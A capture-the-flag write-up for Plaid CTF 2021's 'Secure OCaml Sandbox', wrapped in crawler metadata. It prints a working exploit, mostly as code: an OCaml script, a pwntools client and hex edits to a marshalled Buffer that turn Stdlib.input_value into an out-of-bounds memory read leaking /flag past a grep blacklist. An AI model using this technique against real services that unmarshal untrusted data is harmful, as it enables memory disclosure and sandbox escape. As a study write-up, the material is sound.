ℹ️ Skipped - page is already crawled
| Filter | Status | Condition | Details |
|---|---|---|---|
| HTTP status | PASS | download_http_code = 200 | HTTP 200 |
| Age cutoff | PASS | download_stamp > now() - 6 MONTH | 0.6 months ago |
| History drop | PASS | isNull(history_drop_reason) | No drop reason |
| Spam/ban | PASS | fh_dont_index != 1 AND ml_spam_score = 0 | ml_spam_score=0 |
| Canonical | PASS | meta_canonical IS NULL OR = '' OR = src_unparsed | Not set |
| Property | Value |
|---|---|
| URL | https://eternal.red/2021/secure-ocaml-sandbox/ |
| Last Crawled | 2026-03-31 18:48:57 (17 days ago) |
| First Indexed | 2022-01-28 18:05:16 (4 years ago) |
| HTTP Status Code | 200 |
| Meta Title | Secure OCaml Sandbox - Eternal Stories |
| Meta Description | Escaping OCaml sandbox based on function blacklisting |
| Meta Canonical | null |
| Boilerpipe Text | Event:
Plaid CTF 2021
Category:
pwn
Solves:
33 + 28
Points:
400 + 150
Overview
This challenge consisted of 2 sub-challenges.
The second one was protected where password was a flag from the pevious one.
Files for the first part are here.
sudo docker run -v $(pwd)/input:/input -it name
runs the challenge.
In this challenge we had to read the flag by uploading OCaml script to the server.
The path to the fflag file is known from a Docker file.
It is sandboxed in a way that
open! Sos
is added at the very beginning of our script.
It means that we load a module which filename is
sos.ml
It looked like this:
#!/bin/sh
set
-eu
if
grep
-qe
"external"
-e
"unsafe"
/input/exploit.ml
;
then
echo
"unsafe!"
exit
1
fi
echo
"open! Sos"
>
user/exploit.ml
cat
/input/exploit.ml
>>
user/exploit.ml
dune
exec
user/exploit.exe
Here
is a source code for this module - it blacklists a lot of functions.
Solution
In OCaml, similarly to Rust, functions are split into safe and unsafe ones.
Unsafe functions can lead to memory corruption bugs or other problems and usually they have
unsafe
word in their name.
But grep checks if our code contains this word.
At the beginning I was trying to find an “soundness”/memory corruption bug in OCaml interpreter by reviewing github issues but my teammates told me that this is an old language so the probability of this is pretty low.
So I started looking for not blacklisted functions which could give a flag.
https://ocaml.org/api/
lists libraries and their functions for OCaml.
We reviewed all of them and found 2 interesting functions:
Digest.file
which takes a filename as an argument and returns md5 of it.
Stdlib.input_value
- “This function is identical to
Marshal.from_channel
; see the description of module Marshal for more information, in particular concerning the lack of type safety.”
After calling
Digest.file
the process should contain a flag in its memory, maybe somewhere on the heap.
Stdlib.input_value
receives our payload which is a marshalled big buffer which has size and capacity to big values allowing us to read process memory.
Here is the OCaml script which we send to the server:
let
d
=
input_value
stdin
;;
Printf
.
printf
"%d
\n
"
(
Buffer
.
length
d
);;
for
_
=
1
to
0x10000
do
let
_
=
Digest
.
file
"/flag"
in
()
done
;;
for
i
=
1
to
(
Buffer
.
length
d
)
-
1
do
Printf
.
printf
"%c"
(
Buffer
.
nth
d
i
)
done
;;
This is just a script that sends our script and a payload:
from
pwn
import
*
HOST
=
"mirage.sos.pwni.ng"
PORT
=
1337
SCRIPT
=
"input/exploit.ml"
PAYLOAD
=
"payload.bin"
script
=
read
(
SCRIPT
)
payload
=
read
(
PAYLOAD
)
r
=
remote
(
HOST
,
PORT
)
print
(
r
.
recvline
())
print
(
r
.
recvline
())
print
(
r
.
recvline
())
r
.
sendline
(
str
(
len
(
script
)))
r
.
send
(
script
)
r
.
send
(
payload
)
print
(
r
.
recvline
())
#Buffer.size
buf
=
b
""
try
:
while
True
:
buf
+=
r
.
recv
()
except
EOFError
:
pass
if
b
"PCTF{"
in
buf
:
flag
=
buf
.
split
(
b
"PCTF{"
)[
1
]
.
split
(
b
"}"
)[
0
]
print
(
b
"PCTF{"
+
flag
+
b
"}"
)
Now it’s time to think about the payload which will be sent to the server.
At the beginning let’s create a binary blob of the normal buffer:
let
d
=
Buffer
.
create
0x666
;;
for
_
=
1
to
0x666
do
Buffer
.
add_char
d
'
A'
done
;;
output_value
(
open_out
"/original.bin"
)
d
;;
This blob can be found
here
We got a binary blob with
01 06 66 01 06 66 04 01
At the end.
06 66
is an equivalent to our buffer size, these values are probably the size and the capacity.
So
01
must mean 2-bytes integer.
Playing with it we realized that these integers are represented in big endian mode.
And
03
means 8 bytes integer.
By changing it to very big values - like
03 01 00 00 00 00 00 00 00 03 01 00 00 00 00 00 00 00 04 01
,
we got a Buffer which pointer points to a string with the length of
0x666
bytes and size and capacity has set to
0x0100000000000000
.
The blob after modifications is
here
The exploit worked for both sub-challenges:
PCTF{d0nt_f0rget_t0_t3rminate_y0ur_l1nes}
PCTF{trY1ng_To_get_c4mlS_In_a_Lin3_is_a_r3cipe_f0r_cOrruPtion}
¯\
(ツ)
/¯ |
| Markdown | [Eternal Stories](https://eternal.red/)
[About](https://eternal.red/about/) [Archive](https://eternal.red/archive/) [Categories](https://eternal.red/categories/) [My talks](https://eternal.red/talks/)
# Secure OCaml Sandbox
Apr 28, 2021 \| 5 Minute Read
- **Event:** Plaid CTF 2021
- **Category:** pwn
- **Solves:** 33 + 28
- **Points:** 400 + 150

## Overview
This challenge consisted of 2 sub-challenges. The second one was protected where password was a flag from the pevious one. [Files for the first part are here.](https://eternal.red/assets/files/2021/secure-ocaml-sandbox/sos.oasis.tgz) `sudo docker run -v $(pwd)/input:/input -it name` runs the challenge.
In this challenge we had to read the flag by uploading OCaml script to the server. The path to the fflag file is known from a Docker file. It is sandboxed in a way that `open! Sos` is added at the very beginning of our script. It means that we load a module which filename is `sos.ml`
It looked like this:
```
#!/bin/sh
set -eu
if grep -qe "external" -e "unsafe" /input/exploit.ml; then
echo "unsafe!"
exit 1
fi
echo "open! Sos" > user/exploit.ml
cat /input/exploit.ml >> user/exploit.ml
dune exec user/exploit.exe
```
[Here](https://gist.github.com/Eterna1/430983087a52e7430bc5c0e1d2320d06) is a source code for this module - it blacklists a lot of functions.
## Solution
In OCaml, similarly to Rust, functions are split into safe and unsafe ones. Unsafe functions can lead to memory corruption bugs or other problems and usually they have `unsafe` word in their name. But grep checks if our code contains this word. At the beginning I was trying to find an “soundness”/memory corruption bug in OCaml interpreter by reviewing github issues but my teammates told me that this is an old language so the probability of this is pretty low.
So I started looking for not blacklisted functions which could give a flag.
<https://ocaml.org/api/> lists libraries and their functions for OCaml. We reviewed all of them and found 2 interesting functions:
- [Digest.file](https://ocaml.org/api/Digest.html#VALfile) which takes a filename as an argument and returns md5 of it.
- [Stdlib.input\_value](https://ocaml.org/api/Stdlib.html#VALinput_value) - “This function is identical to [Marshal.from\_channel](https://ocaml.org/api/Marshal.html#VALfrom_channel); see the description of module Marshal for more information, in particular concerning the lack of type safety.”
After calling `Digest.file` the process should contain a flag in its memory, maybe somewhere on the heap. `Stdlib.input_value` receives our payload which is a marshalled big buffer which has size and capacity to big values allowing us to read process memory.
Here is the OCaml script which we send to the server:
```
let d = input_value stdin;;
Printf.printf "%d\n" (Buffer.length d);;
for _ = 1 to 0x10000 do
let _ = Digest.file "/flag" in ()
done;;
for i = 1 to (Buffer.length d) - 1 do
Printf.printf "%c" (Buffer.nth d i)
done;;
```
This is just a script that sends our script and a payload:
```
from pwn import *
HOST = "mirage.sos.pwni.ng"
PORT = 1337
SCRIPT = "input/exploit.ml"
PAYLOAD = "payload.bin"
script = read(SCRIPT)
payload = read(PAYLOAD)
r = remote(HOST,PORT)
print (r.recvline())
print (r.recvline())
print (r.recvline())
r.sendline(str(len(script)))
r.send(script)
r.send(payload)
print(r.recvline()) #Buffer.size
buf = b""
try:
while True:
buf += r.recv()
except EOFError:
pass
if b"PCTF{" in buf:
flag = buf.split(b"PCTF{")[1].split(b"}")[0]
print(b"PCTF{"+flag+b"}")
```
Now it’s time to think about the payload which will be sent to the server. At the beginning let’s create a binary blob of the normal buffer:
```
let d = Buffer.create 0x666;;
for _ = 1 to 0x666 do
Buffer.add_char d 'A'
done;;
output_value (open_out "/original.bin") d;;
```
This blob can be found [here](https://eternal.red/assets/files/2021/secure-ocaml-sandbox/original.bin)
We got a binary blob with `01 06 66 01 06 66 04 01` At the end. `06 66` is an equivalent to our buffer size, these values are probably the size and the capacity. So `01` must mean 2-bytes integer. Playing with it we realized that these integers are represented in big endian mode. And `03` means 8 bytes integer. By changing it to very big values - like `03 01 00 00 00 00 00 00 00 03 01 00 00 00 00 00 00 00 04 01`, we got a Buffer which pointer points to a string with the length of `0x666` bytes and size and capacity has set to `0x0100000000000000`.
The blob after modifications is [here](https://eternal.red/assets/files/2021/secure-ocaml-sandbox/payload.bin)
The exploit worked for both sub-challenges:
```
PCTF{d0nt_f0rget_t0_t3rminate_y0ur_l1nes}
PCTF{trY1ng_To_get_c4mlS_In_a_Lin3_is_a_r3cipe_f0r_cOrruPtion}
```
¯\\*(ツ)*/¯
- Share :
- [Facebook](https://eternal.red/2021/secure-ocaml-sandbox/)
- [Linkedin](http://www.linkedin.com/cws/share?url=http://localhost:4000/2021/secure-ocaml-sandbox/ "Share on Linkedin")
- [Twitter](https://twitter.com/intent/tweet?text=http://localhost:4000/2021/secure-ocaml-sandbox/%20-%20Secure%20OCaml%20Sandbox%20by%20@EternalRed0 "Share to Twitter")
- [Google+](https://plus.google.com/share?url=http://localhost:4000/2021/secure-ocaml-sandbox/ "Share on Google Plus")
- [Pinterest](http://pinterest.com/pin/create/link/?url=http://localhost:4000/2021/secure-ocaml-sandbox/ "Share to Pinterest")
[← Previous Post](https://eternal.red/2019/sloppy-dev-writeup/) [Next Post →](https://eternal.red/2021/sandboxgrind/)
Please enable JavaScript to view the [comments powered by Disqus.](https://disqus.com/?ref_noscript)
2024 © Eternal Stories |
| Readable Markdown | null |
| Shard | 126 (laksa) |
| Root Hash | 4967937520191648326 |
| Unparsed URL | red,eternal!/2021/secure-ocaml-sandbox/ s443 |